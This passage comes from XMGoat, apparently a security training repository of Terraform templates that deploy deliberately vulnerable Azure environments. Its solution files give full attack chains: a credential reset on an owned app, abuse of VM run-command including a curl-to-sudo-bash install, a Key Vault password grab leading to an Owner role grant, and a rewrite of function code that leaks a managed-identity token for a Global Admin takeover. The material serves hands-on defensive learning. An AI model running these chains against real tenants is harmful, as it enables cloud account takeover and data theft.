├── README.md ├── scenarios ├── scenario_1 │ ├── README.md │ ├── main.tf │ ├── scenario1_flow.png │ ├── secret.txt │ └── solution.md ├── scenario_2 │ ├── README.md │ ├── main.tf │ ├── scenario2_flow.png │ └── solution.md ├── scenario_3 │ ├── README.md │ ├── main.tf │ ├── scenario3_flow.png │ ├── solution.md │ └── xmgoat3-function-project │ │ ├── host.json │ │ ├── profile.ps1 │ │ ├── requirements.psd1 │ │ └── xmgoat3-function │ │ ├── function.json │ │ └── run.ps1 ├── scenario_4 │ ├── README.md │ ├── main.tf │ ├── scenario4_flow.png │ └── solution.md └── scenario_5 │ ├── README.md │ ├── SensitiveData.zip │ ├── main.tf │ ├── scenario5_flow.png │ └── solution.md └── xmgoat_new.png /README.md: -------------------------------------------------------------------------------- 1 | # XMGoat 2 | 3 | 4 | ## Overview 5 | XM Goat is composed of XM Cyber terraform templates that help you learn about common Azure security issues. Each template is a vulnerable environment, with some significant misconfigurations. Your job is to attack and compromise the environments. 6 | 7 | Here’s what to do for each environment: 8 | 9 | 1. Run installation and then get started. 10 | 11 | 2. With the initial user and service principal credentials, attack the environment based on the scenario flow (for example, XMGoat/scenarios/scenario_1/scenario1_flow.png). 12 | 13 | 3. If you need help with your attack, refer to the solution (for example, XMGoat/scenarios/scenario_1/solution.md). 14 | 15 | 4. When you’re done learning the attack, clean up. 16 | 17 | ## Requirements 18 | * Azure tenant 19 | * Terafform version 1.0.9 or above 20 | * Azure CLI 21 | * Azure User with Owner permissions on Subscription and Global Admin privileges in AAD 22 | 23 | ## Installation 24 | Run these commands: 25 | ``` 26 | $ az login 27 | $ git clone https://github.com/XMCyber/XMGoat.git 28 | $ cd XMGoat 29 | $ cd scenarios 30 | $ cd scenario_<\SCENARIO> 31 | ``` 32 | Where <\SCENARIO> is the scenario number you want to complete 33 | ``` 34 | $ terraform init 35 | $ terraform plan -out <\FILENAME> 36 | $ terraform apply <\FILENAME> 37 | ``` 38 | Where <\FILENAME> is the name of the output file 39 | 40 | ## Get started 41 | To get the initial user and service principal credentials, run the following query: 42 | ``` 43 | $ terraform output --json 44 | ``` 45 | For Service Principals, use application_id.value and application_secret.value. 46 | 47 | For Users, use username.value and password.value. 48 | 49 | ## Cleaning up 50 | After completing the scenario, run the following command in order to clean all the resources created in your tenant 51 | ``` 52 | $ az login 53 | $ cd XMGoat 54 | $ cd scenarios 55 | $ cd scenario_<\SCENARIO> 56 | ``` 57 | Where <\SCENARIO> is the scenario number you want to complete 58 | ``` 59 | $ terraform destroy 60 | ``` 61 | -------------------------------------------------------------------------------- /scenarios/scenario_1/README.md: -------------------------------------------------------------------------------- 1 | # Compromise Sensitive Storage Account Container 2 | Attack flow: 3 | 4 | ![Compromise Sensitive Storage Account Container Flow](./scenario1_flow.png) 5 | 6 | The solution can be found [here](./solution.md). 7 | -------------------------------------------------------------------------------- /scenarios/scenario_1/main.tf: -------------------------------------------------------------------------------- 1 | ############################################################################# 2 | # VARIABLES 3 | ############################################################################# 4 | variable "container_name" { 5 | type = string 6 | } 7 | 8 | variable "storage_account_name" { 9 | type = string 10 | } 11 | 12 | variable "linux_virtual_machine_name" { 13 | type = string 14 | } 15 | 16 | variable "virtual_network_name" { 17 | type = string 18 | } 19 | 20 | variable "user_name" { 21 | type = string 22 | } 23 | 24 | variable "user_assigned_identity_name" { 25 | type = string 26 | } 27 | 28 | variable "resource_group" { 29 | type = string 30 | description = "Existing resource group to deploy resources" 31 | } 32 | 33 | variable "domain" { 34 | type = string 35 | description = "Domain name (for example: contoso.onmicrosoft.com)" 36 | } 37 | 38 | variable "user_password" { 39 | type = string 40 | } 41 | 42 | variable "vm_password" { 43 | type = string 44 | } 45 | 46 | variable "vm_user" { 47 | type = string 48 | } 49 | 50 | ############################################################################# 51 | # DATA 52 | ############################################################################# 53 | 54 | data "azurerm_subscription" "current" {} 55 | 56 | data "azurerm_resource_group" "current" { 57 | name = var.resource_group 58 | } 59 | 60 | 61 | ############################################################################# 62 | # PROVIDERS 63 | ############################################################################# 64 | 65 | provider "azurerm" { 66 | features {} 67 | } 68 | 69 | provider "azuread" { 70 | } 71 | 72 | 73 | ############################################################################# 74 | # RESOURCES 75 | ############################################################################# 76 | 77 | ## AZURE AD USER ## 78 | 79 | resource "azuread_user" "user" { 80 | user_principal_name = "${var.user_name}@${var.domain}" 81 | display_name = var.user_name 82 | password = var.user_password 83 | } 84 | 85 | resource "azuread_application" "scenario1App" { 86 | display_name = "scenario1App" 87 | owners = [azuread_user.user.object_id] 88 | } 89 | 90 | resource "azuread_service_principal" "scenario1SPN" { 91 | application_id = azuread_application.scenario1App.application_id 92 | owners = [azuread_user.user.id] 93 | } 94 | 95 | 96 | ## AZURE LINUX VIRTUAL MACHINE ## 97 | 98 | resource "azurerm_virtual_network" "main" { 99 | name = var.virtual_network_name 100 | address_space = ["10.0.0.0/16"] 101 | location = data.azurerm_resource_group.current.location 102 | resource_group_name = data.azurerm_resource_group.current.name 103 | } 104 | 105 | resource "azurerm_subnet" "internal" { 106 | name = "internal" 107 | resource_group_name = data.azurerm_resource_group.current.name 108 | virtual_network_name = azurerm_virtual_network.main.name 109 | address_prefixes = ["10.0.2.0/24"] 110 | } 111 | 112 | 113 | resource "azurerm_user_assigned_identity" "uai" { 114 | name = var.user_assigned_identity_name 115 | resource_group_name = data.azurerm_resource_group.current.name 116 | location = data.azurerm_resource_group.current.location 117 | } 118 | 119 | resource "azurerm_network_interface" "linux" { 120 | name = var.linux_virtual_machine_name 121 | resource_group_name = data.azurerm_resource_group.current.name 122 | location = data.azurerm_resource_group.current.location 123 | 124 | ip_configuration { 125 | name = "internal" 126 | subnet_id = azurerm_subnet.internal.id 127 | private_ip_address_allocation = "Dynamic" 128 | } 129 | } 130 | 131 | resource "azurerm_linux_virtual_machine" "main" { 132 | name = var.linux_virtual_machine_name 133 | resource_group_name = data.azurerm_resource_group.current.name 134 | location = data.azurerm_resource_group.current.location 135 | size = "Standard_B2s" 136 | admin_username = var.vm_user 137 | admin_password = var.vm_password 138 | disable_password_authentication = false 139 | network_interface_ids = [ 140 | azurerm_network_interface.linux.id, 141 | ] 142 | 143 | os_disk { 144 | caching = "ReadWrite" 145 | storage_account_type = "Standard_LRS" 146 | } 147 | 148 | source_image_reference { 149 | publisher = "Canonical" 150 | offer = "UbuntuServer" 151 | sku = "16.04-LTS" 152 | version = "latest" 153 | } 154 | 155 | identity { 156 | type = "SystemAssigned, UserAssigned" 157 | identity_ids = [azurerm_user_assigned_identity.uai.id] 158 | } 159 | } 160 | 161 | ## AZURE STORAGE ACCOUNT ## 162 | resource "azurerm_storage_account" "main" { 163 | name = var.storage_account_name 164 | resource_group_name = data.azurerm_resource_group.current.name 165 | location = data.azurerm_resource_group.current.location 166 | account_tier = "Standard" 167 | account_replication_type = "LRS" 168 | } 169 | 170 | resource "azurerm_storage_container" "main" { 171 | name = var.container_name 172 | storage_account_name = azurerm_storage_account.main.name 173 | container_access_type = "private" 174 | } 175 | 176 | resource "azurerm_storage_blob" "file" { 177 | name = "secret.txt" 178 | storage_account_name = azurerm_storage_account.main.name 179 | storage_container_name = azurerm_storage_container.main.name 180 | type = "Block" 181 | source = "secret.txt" 182 | } 183 | 184 | 185 | ## AZURE ROLE AND ROLE ASSIGNMENT ## 186 | 187 | resource "azurerm_role_definition" "run-command-on-vm" { 188 | name = "Run Command Role Scenario 1" 189 | scope = data.azurerm_subscription.current.id 190 | description = "This role allow to run command on vm" 191 | 192 | permissions { 193 | actions = ["Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/virtualMachines/runCommand/action"] 194 | not_actions = [] 195 | } 196 | 197 | assignable_scopes = [ 198 | data.azurerm_subscription.current.id, 199 | ] 200 | } 201 | 202 | resource "azurerm_role_assignment" "run-command-on-linux-vm" { 203 | scope = azurerm_linux_virtual_machine.main.id 204 | role_definition_id = split("|", azurerm_role_definition.run-command-on-vm.id)[0] 205 | principal_id = azuread_service_principal.scenario1SPN.id 206 | } 207 | 208 | resource "azurerm_role_definition" "read-blobs" { 209 | name = "Read Blobs Role Scenario 1" 210 | scope = data.azurerm_subscription.current.id 211 | description = "This role allow to download blobs from storage account" 212 | 213 | permissions { 214 | actions = ["Microsoft.Storage/storageAccounts/read", "Microsoft.Storage/storageAccounts/blobServices/containers/read"] 215 | data_actions = ["Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read"] 216 | not_actions = [] 217 | } 218 | 219 | assignable_scopes = [ 220 | data.azurerm_subscription.current.id, 221 | ] 222 | } 223 | 224 | resource "azurerm_role_assignment" "read-blobs" { 225 | scope = azurerm_storage_account.main.id 226 | role_definition_id = split("|", azurerm_role_definition.read-blobs.id)[0] 227 | principal_id = azurerm_user_assigned_identity.uai.principal_id 228 | } 229 | 230 | ## Output 231 | output "username"{ 232 | value = azuread_user.user.user_principal_name 233 | } 234 | output "password" { 235 | value = azuread_user.user.password 236 | sensitive = true 237 | } 238 | -------------------------------------------------------------------------------- /scenarios/scenario_1/scenario1_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_1/scenario1_flow.png -------------------------------------------------------------------------------- /scenarios/scenario_1/secret.txt: -------------------------------------------------------------------------------- 1 | Good Job! -------------------------------------------------------------------------------- /scenarios/scenario_1/solution.md: -------------------------------------------------------------------------------- 1 | 1. az login -u <\Username> -p <\Password> --allow-no-subscriptions 2 | 2. az ad app list --show-mine 3 | 3. az ad app list --display-name <\AppName> 4 | 4. az ad app credential reset --id <\AppObejctID> 5 | 5. az login --service-principal -u <\AppID> -p <\Secret> -t <\TenantID> --allow-no-subscriptions 6 | 6. az vm list 7 | 7. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash" 8 | 8. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az login --identity --username <\UserAssignedIdentityClientID>" 9 | 9. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage account list" 10 | 10. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage container list --account-name <\StorageAccountName> --auth-mode login" 11 | 11. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage blob list -c <\ContainerName> --account-name --auth-mode login" 12 | 12. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage blob download -n secret.txt -c <\ContainerName> --account-name --auth-mode login -f /secret.txt" 13 | 13. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "cat /secret.txt" 14 | -------------------------------------------------------------------------------- /scenarios/scenario_2/README.md: -------------------------------------------------------------------------------- 1 | # Subscription take-over 2 | Attack flow: 3 | 4 | ![Subscription take-over Flow](./scenario2_flow.png) 5 | 6 | The solution can be found [here](./solution.md). 7 | -------------------------------------------------------------------------------- /scenarios/scenario_2/main.tf: -------------------------------------------------------------------------------- 1 | ############################################################################# 2 | # VARIABLES 3 | ############################################################################# 4 | variable "user_name" { 5 | type = string 6 | } 7 | 8 | variable "key_vault_name" { 9 | type = string 10 | } 11 | 12 | variable "resource_group" { 13 | type = string 14 | description = "Existing resource group to deploy resources" 15 | } 16 | 17 | variable "domain" { 18 | type = string 19 | description = "Domain name (for example: contoso.onmicrosoft.com)" 20 | } 21 | 22 | variable "user_password" { 23 | type = string 24 | } 25 | 26 | ############################################################################# 27 | # DATA 28 | ############################################################################# 29 | data "azurerm_client_config" "current" {} 30 | 31 | data "azurerm_subscription" "current" {} 32 | 33 | data "azurerm_resource_group" "current" { 34 | name = var.resource_group 35 | } 36 | 37 | 38 | ############################################################################# 39 | # PROVIDERS 40 | ############################################################################# 41 | 42 | provider "azurerm" { 43 | features {} 44 | } 45 | 46 | provider "azuread" { 47 | } 48 | 49 | 50 | ############################################################################# 51 | # RESOURCES 52 | ############################################################################# 53 | 54 | ## AZURE AD USER ## 55 | 56 | resource "azuread_user" "user" { 57 | user_principal_name = "${var.user_name}@${var.domain}" 58 | display_name = var.user_name 59 | password = var.user_password 60 | } 61 | 62 | resource "azuread_application" "scenario2App" { 63 | display_name = "scenario2App" 64 | } 65 | 66 | resource "azuread_service_principal" "scenario2SPN" { 67 | application_id = azuread_application.scenario2App.application_id 68 | } 69 | 70 | resource "azuread_application_password" "secret" { 71 | application_object_id = azuread_application.scenario2App.object_id 72 | } 73 | 74 | ## AZURE KEY VAULT Secret ## 75 | 76 | resource "azurerm_key_vault" "main" { 77 | name = var.key_vault_name 78 | location = data.azurerm_resource_group.current.location 79 | resource_group_name = data.azurerm_resource_group.current.name 80 | enabled_for_disk_encryption = true 81 | tenant_id = data.azurerm_client_config.current.tenant_id 82 | purge_protection_enabled = false 83 | sku_name = "standard" 84 | 85 | access_policy { 86 | tenant_id = data.azurerm_client_config.current.tenant_id 87 | object_id = data.azurerm_client_config.current.object_id 88 | key_permissions = [ 89 | "Get", 90 | ] 91 | secret_permissions = [ 92 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set", 93 | ] 94 | storage_permissions = [ 95 | "Get", 96 | ] 97 | } 98 | 99 | access_policy { 100 | tenant_id = data.azurerm_client_config.current.tenant_id 101 | object_id = azuread_service_principal.scenario2SPN.object_id 102 | key_permissions = [ 103 | "Get", 104 | ] 105 | secret_permissions = [ 106 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set", 107 | ] 108 | storage_permissions = [ 109 | "Get", 110 | ] 111 | } 112 | } 113 | 114 | resource "azurerm_key_vault_secret" "secret" { 115 | name = azuread_user.user.display_name 116 | value = azuread_user.user.password 117 | key_vault_id = azurerm_key_vault.main.id 118 | depends_on = [azurerm_key_vault.main] 119 | } 120 | 121 | ## AZURE ROLES AND ROLE ASSIGNMENT ## 122 | 123 | resource "azurerm_role_definition" "list-key-vaults" { 124 | name = "Key-Vault Read Scenario 2" 125 | scope = data.azurerm_subscription.current.id 126 | description = "This role allow to list key vaults" 127 | 128 | permissions { 129 | actions = ["Microsoft.KeyVault/vaults/read"] 130 | } 131 | 132 | assignable_scopes = [ 133 | data.azurerm_subscription.current.id, 134 | ] 135 | } 136 | 137 | resource "azurerm_role_definition" "assign_privileges" { 138 | name = "Add Myself Privileges Scenario 2" 139 | scope = data.azurerm_subscription.current.id 140 | description = "This role allow escalate our privileges" 141 | 142 | permissions { 143 | actions = ["Microsoft.Authorization/roleAssignments/write"] 144 | } 145 | 146 | assignable_scopes = [ 147 | data.azurerm_subscription.current.id, 148 | ] 149 | } 150 | 151 | resource "azurerm_role_assignment" "key-vault-assignment-for-spn" { 152 | scope = azurerm_key_vault.main.id 153 | role_definition_id = split("|", azurerm_role_definition.list-key-vaults.id)[0] 154 | principal_id = azuread_service_principal.scenario2SPN.object_id 155 | } 156 | 157 | resource "azurerm_role_assignment" "escalate-privileges" { 158 | scope = data.azurerm_subscription.current.id 159 | role_definition_id = split("|", azurerm_role_definition.assign_privileges.id)[0] 160 | principal_id = azuread_user.user.id 161 | } 162 | 163 | ## Output 164 | output "application_id"{ 165 | value = azuread_application.scenario2App.application_id 166 | } 167 | output "application_secret" { 168 | value = azuread_application_password.secret 169 | } 170 | -------------------------------------------------------------------------------- /scenarios/scenario_2/scenario2_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_2/scenario2_flow.png -------------------------------------------------------------------------------- /scenarios/scenario_2/solution.md: -------------------------------------------------------------------------------- 1 | 1. az login --service-principal -u <\ID> -p <\Secret> -t <\TenantID> --allow-no-subscriptions 2 | 2. az keyvault list 3 | 3. az keyvault secret list --vault-name <\KeyVaultName> 4 | 4. az keyvault secret show --vault-name <\KeyVaultName> --name <\SecretName> 5 | 5. az login -u <\UserName> -p <\Password>> 6 | 6. az role assignment create --role "Owner" --assignee "<\UserName>" 7 | 7. az role assignment list --all --assignee <\UserName> -------------------------------------------------------------------------------- /scenarios/scenario_3/README.md: -------------------------------------------------------------------------------- 1 | # Tenant Take-Over 2 | Attack flow: 3 | 4 | ![Tenant Take-Over Flow](./scenario3_flow.png) 5 | 6 | The solution can be found [here](./solution.md). 7 | -------------------------------------------------------------------------------- /scenarios/scenario_3/main.tf: -------------------------------------------------------------------------------- 1 | ############################################################################# 2 | # VARIABLES 3 | ############################################################################# 4 | variable "user_name" { 5 | type = string 6 | } 7 | 8 | variable "resource_group" { 9 | type = string 10 | description = "Existing resource group to deploy resources" 11 | } 12 | 13 | variable "domain" { 14 | type = string 15 | description = "Domain name (for example: contoso.onmicrosoft.com)" 16 | } 17 | 18 | variable "user_password" { 19 | type = string 20 | } 21 | 22 | variable "user_assigned_identity_name" { 23 | type = string 24 | } 25 | 26 | ############################################################################# 27 | # DATA 28 | ############################################################################# 29 | data "azurerm_client_config" "current" {} 30 | 31 | data "azurerm_subscription" "current" {} 32 | 33 | data "azurerm_resource_group" "current" { 34 | name = var.resource_group 35 | } 36 | 37 | data "archive_file" "file_function_app" { 38 | type = "zip" 39 | source_dir = "xmgoat3-function-project" 40 | output_path = "function-app.zip" 41 | } 42 | 43 | 44 | ############################################################################# 45 | # PROVIDERS 46 | ############################################################################# 47 | 48 | provider "azurerm" { 49 | features {} 50 | } 51 | 52 | provider "azuread" { 53 | } 54 | 55 | 56 | ############################################################################# 57 | # RESOURCES 58 | ############################################################################# 59 | 60 | ## AZURE AD USER ## 61 | 62 | resource "azuread_user" "user" { 63 | user_principal_name = "${var.user_name}@${var.domain}" 64 | display_name = var.user_name 65 | password = var.user_password 66 | } 67 | 68 | resource "azuread_application" "scenario3App" { 69 | display_name = "scenario3App" 70 | } 71 | 72 | resource "azuread_service_principal" "scenario3SPN" { 73 | application_id = azuread_application.scenario3App.application_id 74 | } 75 | 76 | ## AZURE APP FUNCTION ## 77 | 78 | resource "azurerm_storage_account" "main" { 79 | name = "xmgoat3" 80 | resource_group_name = data.azurerm_resource_group.current.name 81 | location = data.azurerm_resource_group.current.location 82 | account_tier = "Standard" 83 | account_replication_type = "LRS" 84 | } 85 | 86 | resource "azurerm_storage_container" "main" { 87 | name = "function-releases" 88 | storage_account_name = azurerm_storage_account.main.name 89 | container_access_type = "private" 90 | } 91 | 92 | resource "azurerm_application_insights" "main" { 93 | name = "xmgoat3" 94 | location = data.azurerm_resource_group.current.location 95 | resource_group_name = data.azurerm_resource_group.current.name 96 | application_type = "Node.JS" 97 | } 98 | 99 | resource "azurerm_app_service_plan" "main" { 100 | name = "xmgoat3" 101 | location = data.azurerm_resource_group.current.location 102 | resource_group_name = data.azurerm_resource_group.current.name 103 | kind = "FunctionApp" 104 | reserved = false 105 | 106 | sku { 107 | tier = "Dynamic" 108 | size = "Y1" 109 | } 110 | } 111 | 112 | resource "azurerm_user_assigned_identity" "main" { 113 | name = var.user_assigned_identity_name 114 | resource_group_name = data.azurerm_resource_group.current.name 115 | location = data.azurerm_resource_group.current.location 116 | } 117 | 118 | resource "azurerm_function_app" "main" { 119 | name = "xmgoat3" 120 | location = data.azurerm_resource_group.current.location 121 | resource_group_name = data.azurerm_resource_group.current.name 122 | app_service_plan_id = azurerm_app_service_plan.main.id 123 | storage_account_name = azurerm_storage_account.main.name 124 | storage_account_access_key = azurerm_storage_account.main.primary_access_key 125 | 126 | app_settings = { 127 | "FUNCTIONS_WORKER_RUNTIME" = "powershell", 128 | AzureWebJobsStorage = azurerm_storage_account.main.primary_blob_connection_string, 129 | APPINSIGHTS_INSTRUMENTATIONKEY = azurerm_application_insights.main.instrumentation_key, 130 | "WEBSITE_NODE_DEFAULT_VERSION" = "~14" 131 | } 132 | 133 | version = "~3" 134 | 135 | identity { 136 | type = "SystemAssigned, UserAssigned" 137 | identity_ids = [azurerm_user_assigned_identity.main.id] 138 | } 139 | 140 | lifecycle { 141 | ignore_changes = [ 142 | app_settings["WEBSITE_RUN_FROM_PACKAGE"] 143 | ] 144 | } 145 | 146 | site_config { 147 | cors { 148 | allowed_origins = ["*"] 149 | } 150 | use_32_bit_worker_process = false 151 | } 152 | } 153 | 154 | ## AZURE ROLE AND ROLE ASSIGNMENT ## 155 | 156 | resource "azurerm_role_definition" "update-function-code" { 157 | name = "Update Function Code Scenario 3" 158 | scope = data.azurerm_subscription.current.id 159 | description = "This role allow to update function code" 160 | 161 | permissions { 162 | actions = ["Microsoft.web/sites/Read", "microsoft.web/sites/functions/read", "microsoft.web/sites/host/listkeys/action"] 163 | not_actions = [] 164 | } 165 | 166 | assignable_scopes = [ 167 | data.azurerm_subscription.current.id, 168 | ] 169 | } 170 | 171 | resource "azurerm_role_assignment" "update-function-code" { 172 | scope = azurerm_function_app.main.id 173 | role_definition_id = split("|", azurerm_role_definition.update-function-code.id)[0] 174 | principal_id = azuread_user.user.id 175 | } 176 | 177 | ## Directory Roles 178 | resource "azuread_directory_role" "appAdmin" { 179 | display_name = "Application administrator" 180 | } 181 | 182 | resource "azuread_directory_role" "globalAdmin" { 183 | display_name = "Global administrator" 184 | } 185 | 186 | resource "azuread_directory_role_member" "appAdminMembers" { 187 | role_object_id = azuread_directory_role.appAdmin.object_id 188 | member_object_id = azurerm_user_assigned_identity.main.principal_id 189 | } 190 | 191 | resource "azuread_directory_role_member" "globalAdminMembers" { 192 | role_object_id = azuread_directory_role.globalAdmin.object_id 193 | member_object_id = azuread_service_principal.scenario3SPN.object_id 194 | } 195 | 196 | locals { 197 | publish_code_command = "az webapp deploy --resource-group ${data.azurerm_resource_group.current.name} --name ${azurerm_function_app.main.name} --src-path ${data.archive_file.file_function_app.output_path}" 198 | } 199 | 200 | resource "null_resource" "function_app_publish" { 201 | provisioner "local-exec" { 202 | command = local.publish_code_command 203 | } 204 | depends_on = [local.publish_code_command] 205 | triggers = { 206 | input_json = filemd5(data.archive_file.file_function_app.output_path) 207 | publish_code_command = local.publish_code_command 208 | } 209 | } 210 | 211 | 212 | ## Output 213 | output "username"{ 214 | value = azuread_user.user.user_principal_name 215 | } 216 | output "password" { 217 | value = azuread_user.user.password 218 | sensitive = true 219 | } 220 | -------------------------------------------------------------------------------- /scenarios/scenario_3/scenario3_flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_3/scenario3_flow.png -------------------------------------------------------------------------------- /scenarios/scenario_3/solution.md: -------------------------------------------------------------------------------- 1 | 1. az login -u <\Username> -p <\Password> 2 | 2. az functionapp list --resource-group <\RGName> 3 | 3. az functionapp keys list --resource-group <\RGName> --name <\AppName> 4 | 4. az functionapp identity show --name <\AppName> --resource-group <\RGName>> 5 | 5. az rest --method GET -u "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{RGName}/providers/Microsoft.Web/sites/{FunctionAppName}/functions?api-version=2021-02-01" 6 | 7 | Now we intercept the request and go to burp 8 | 9 | 6. 10 | ```aidl 11 | GET /admin/vfs/site/wwwroot/{FunctionName}/run.ps1 HTTP/1.1 12 | Host: .azurewebsites.net 13 | x-functions-key: 14 | Upgrade-Insecure-Requests: 1 15 | User-Agent: 16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 17 | Accept-Encoding: gzip, deflate 18 | Accept-Language: en-US,en;q=0.9 19 | Connection: close 20 | Content-Type: application/json 21 | ``` 22 | 7. Make sure Etag and client_id matches! 23 | ```aidl 24 | 25 | PUT /admin/vfs/site/wwwroot/{FunctionName}/run.ps1 HTTP/1.1 26 | Host: .azurewebsites.net 27 | x-functions-key: 28 | Sec-Ch-Ua-Platform: "Windows" 29 | Upgrade-Insecure-Requests: 1 30 | User-Agent: 31 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 32 | Sec-Fetch-Site: none 33 | Sec-Fetch-Mode: navigate 34 | Sec-Fetch-User: ?1 35 | Sec-Fetch-Dest: document 36 | Accept-Encoding: gzip, deflate 37 | If-Match: <\Etag> 38 | Accept-Language: en-US,en;q=0.9 39 | Connection: close 40 | Content-Type: application/json 41 | Content-Length: 805 42 | 43 | using namespace System.Net 44 | 45 | # Input bindings are passed in via param block. 46 | param($Request, $TriggerMetadata) 47 | 48 | # Write to the Azure Functions log stream. 49 | Write-Host "PowerShell HTTP trigger function processed a request." 50 | 51 | #If parameter "Scope" has not been provided, we assume that graph.microsoft.com is the target resource 52 | $Scope = "https://graph.microsoft.com/" 53 | 54 | $tokenAuthUri = $env:IDENTITY_ENDPOINT + "?resource=$Scope&api-version=2019-08-01&client_id={ClientId}" 55 | $headers = @{ 56 | "X-IDENTITY-HEADER"="$env:IDENTITY_HEADER" 57 | } 58 | $response = Invoke-RestMethod -Method Get -Headers $headers -Uri $tokenAuthUri -UseBasicParsing 59 | $tokenAuthUri 60 | $response 61 | 62 | $accessToken = $response.access_token 63 | $body = "Access Token: $accessToken" 64 | 65 | # Associate values to output bindings by calling 'Push-OutputBinding'. 66 | Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{ 67 | StatusCode = [HttpStatusCode]::OK 68 | Body = $body 69 | }) 70 | ``` 71 | 8. 72 | ```aidl 73 | GET /api/ HTTP/1.1 74 | Host: .azurewebsites.net 75 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0 76 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 77 | x-functions-key: 78 | Accept-Language: en-US,en;q=0.5 79 | Accept-Encoding: gzip, deflate 80 | Upgrade-Insecure-Requests: 1 81 | Sec-Fetch-Dest: document 82 | Sec-Fetch-Mode: navigate 83 | Sec-Fetch-Site: none 84 | Sec-Fetch-User: ?1 85 | Te: trailers 86 | Connection: close 87 | ``` 88 | 9. 89 | ```aidl 90 | GET /v1.0/applications HTTP/1.1 91 | Host: graph.microsoft.com 92 | User-Agent: 93 | Accept-Encoding: gzip, deflate 94 | Accept: */* 95 | Connection: close 96 | x-ms-client-request-id: 97 | CommandName: rest 98 | ParameterSetName: --method -u 99 | Authorization: Bearer 100 | ``` 101 | 10. 102 | ```aidl 103 | GET /v1.0/applications/ HTTP/1.1 104 | Host: graph.microsoft.com 105 | User-Agent: 106 | Accept-Encoding: gzip, deflate 107 | Accept: */* 108 | Connection: close 109 | x-ms-client-request-id: 110 | CommandName: rest 111 | ParameterSetName: --method -u 112 | Authorization: Bearer 113 | ``` 114 | 11. 115 | ```aidl 116 | POST /v1.0/applications//addPassword HTTP/1.1 117 | Host: graph.microsoft.com 118 | User-Agent: 119 | Accept-Encoding: gzip, deflate 120 | Accept: */* 121 | Connection: close 122 | x-ms-client-request-id: 127 | Content-Length: 81 128 | 129 | { 130 | "passwordCredential": { 131 | "displayName": "Password friendly name" 132 | } 133 | } 134 | ``` 135 | 12. az login --service-principal -u <\spnID> -p <\SPNSecret> -t <\TenantID> --allow-no-subscriptions 136 | -------------------------------------------------------------------------------- /scenarios/scenario_3/xmgoat3-function-project/host.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0", 3 | "logging": { 4 | "applicationInsights": { 5 | "samplingSettings": { 6 | "isEnabled": true, 7 | "excludedTypes": "Request" 8 | } 9 | } 10 | }, 11 | "managedDependency": { 12 | "enabled": true 13 | }, 14 | "extensionBundle": { 15 | "id": "Microsoft.Azure.Functions.ExtensionBundle", 16 | "version": "[2.*, 3.0.0)" 17 | } 18 | } -------------------------------------------------------------------------------- /scenarios/scenario_3/xmgoat3-function-project/profile.ps1: -------------------------------------------------------------------------------- 1 | # Azure Functions profile.ps1 2 | # 3 | # This profile.ps1 will get executed every "cold start" of your Function App. 4 | # "cold start" occurs when: 5 | # 6 | # * A Function App starts up for the very first time 7 | # * A Function App starts up after being de-allocated due to inactivity 8 | # 9 | # You can define helper functions, run commands, or specify environment variables 10 | # NOTE: any variables defined that are not environment variables will get reset after the first execution 11 | 12 | # Authenticate with Azure PowerShell using MSI. 13 | # Remove this if you are not planning on using MSI or Azure PowerShell. 14 | if ($env:MSI_SECRET) { 15 | Disable-AzContextAutosave -Scope Process | Out-Null 16 | Connect-AzAccount -Identity 17 | } 18 | 19 | # Uncomment the next line to enable legacy AzureRm alias in Azure PowerShell. 20 | # Enable-AzureRmAlias 21 | 22 | # You can also define functions or aliases that can be referenced in any of your PowerShell functions. -------------------------------------------------------------------------------- /scenarios/scenario_3/xmgoat3-function-project/requirements.psd1: -------------------------------------------------------------------------------- 1 | # This file enables modules to be automatically managed by the Functions service. 2 | # See https://aka.ms/functionsmanageddependency for additional information. 3 | # 4 | @{ 5 | # For latest supported version, go to 'https://www.powershellgallery.com/packages/Az'. 6 | # To use the Az module in your function app, please uncomment the line below. 7 | # 'Az' = '6.*' 8 | } -------------------------------------------------------------------------------- /scenarios/scenario_3/xmgoat3-function-project/xmgoat3-function/function.json: -------------------------------------------------------------------------------- 1 | { 2 | "bindings": [ 3 | { 4 | "authLevel": "Admin", 5 | "type": "httpTrigger", 6 | "direction": "in", 7 | "name": "Request", 8 | "methods": [ 9 | "get", 10 | "post" 11 | ] 12 | }, 13 | { 14 | "type": "http", 15 | "direction": "out", 16 | "name": "Response" 17 | } 18 | ] 19 | } -------------------------------------------------------------------------------- /scenarios/scenario_3/xmgoat3-function-project/xmgoat3-function/run.ps1: -------------------------------------------------------------------------------- 1 | using namespace System.Net 2 | 3 | # Input bindings are passed in via param block. 4 | param($Request, $TriggerMetadata) 5 | 6 | # Write to the Azure Functions log stream. 7 | Write-Host 